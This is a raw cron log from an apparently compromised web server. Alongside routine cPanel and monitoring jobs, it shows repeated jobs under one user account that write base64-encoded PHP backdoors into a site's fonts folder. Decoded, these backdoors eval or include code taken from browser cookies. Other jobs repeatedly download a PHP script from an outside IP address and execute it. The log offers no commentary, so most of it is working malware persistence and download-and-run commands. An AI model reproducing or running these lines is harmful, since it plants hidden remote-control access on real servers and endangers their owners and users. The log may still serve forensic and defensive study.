Sep  2 17:41:01 ip-184-168-122-23 CROND[21410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:41:01 ip-184-168-122-23 CROND[21411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:41:01 ip-184-168-122-23 CROND[21412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:41:01 ip-184-168-122-23 CROND[21413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:42:01 ip-184-168-122-23 CROND[21496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:42:01 ip-184-168-122-23 CROND[21498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:42:01 ip-184-168-122-23 CROND[21499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:42:01 ip-184-168-122-23 CROND[21501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:42:01 ip-184-168-122-23 CROND[21500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:43:01 ip-184-168-122-23 CROND[21592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:43:01 ip-184-168-122-23 CROND[21595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:43:01 ip-184-168-122-23 CROND[21596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:43:01 ip-184-168-122-23 CROND[21594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:44:01 ip-184-168-122-23 CROND[21745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:44:01 ip-184-168-122-23 CROND[21747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:44:01 ip-184-168-122-23 CROND[21748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:44:01 ip-184-168-122-23 CROND[21750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:44:01 ip-184-168-122-23 CROND[21749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:45:01 ip-184-168-122-23 CROND[21848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:45:01 ip-184-168-122-23 CROND[21851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:45:01 ip-184-168-122-23 CROND[21861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:45:01 ip-184-168-122-23 CROND[21860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:45:01 ip-184-168-122-23 CROND[21858]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:45:01 ip-184-168-122-23 CROND[21859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:46:02 ip-184-168-122-23 CROND[21969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:46:02 ip-184-168-122-23 CROND[21971]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:46:02 ip-184-168-122-23 CROND[21974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:46:02 ip-184-168-122-23 CROND[21973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:46:02 ip-184-168-122-23 CROND[21972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:46:02 ip-184-168-122-23 CROND[21976]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 17:46:02 ip-184-168-122-23 CROND[21978]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 17:47:01 ip-184-168-122-23 CROND[22090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:47:01 ip-184-168-122-23 CROND[22092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:47:01 ip-184-168-122-23 CROND[22091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:47:01 ip-184-168-122-23 CROND[22093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:48:01 ip-184-168-122-23 CROND[22273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:48:01 ip-184-168-122-23 CROND[22274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:48:01 ip-184-168-122-23 CROND[22277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:48:01 ip-184-168-122-23 CROND[22280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:48:01 ip-184-168-122-23 CROND[22281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:49:01 ip-184-168-122-23 CROND[22369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:49:01 ip-184-168-122-23 CROND[22371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:49:01 ip-184-168-122-23 CROND[22373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:49:01 ip-184-168-122-23 CROND[22372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:50:01 ip-184-168-122-23 CROND[22463]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:50:01 ip-184-168-122-23 CROND[22464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:50:01 ip-184-168-122-23 CROND[22468]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 17:50:01 ip-184-168-122-23 CROND[22469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:50:01 ip-184-168-122-23 CROND[22471]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:50:02 ip-184-168-122-23 CROND[22470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:50:02 ip-184-168-122-23 CROND[22475]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:50:02 ip-184-168-122-23 CROND[22476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:50:02 ip-184-168-122-23 CROND[22479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:51:01 ip-184-168-122-23 CROND[22592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:51:01 ip-184-168-122-23 CROND[22596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:51:01 ip-184-168-122-23 CROND[22594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:51:01 ip-184-168-122-23 CROND[22595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:52:01 ip-184-168-122-23 CROND[22718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:52:01 ip-184-168-122-23 CROND[22722]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:52:01 ip-184-168-122-23 CROND[22721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:52:01 ip-184-168-122-23 CROND[22719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:52:01 ip-184-168-122-23 CROND[22720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:53:01 ip-184-168-122-23 CROND[22832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
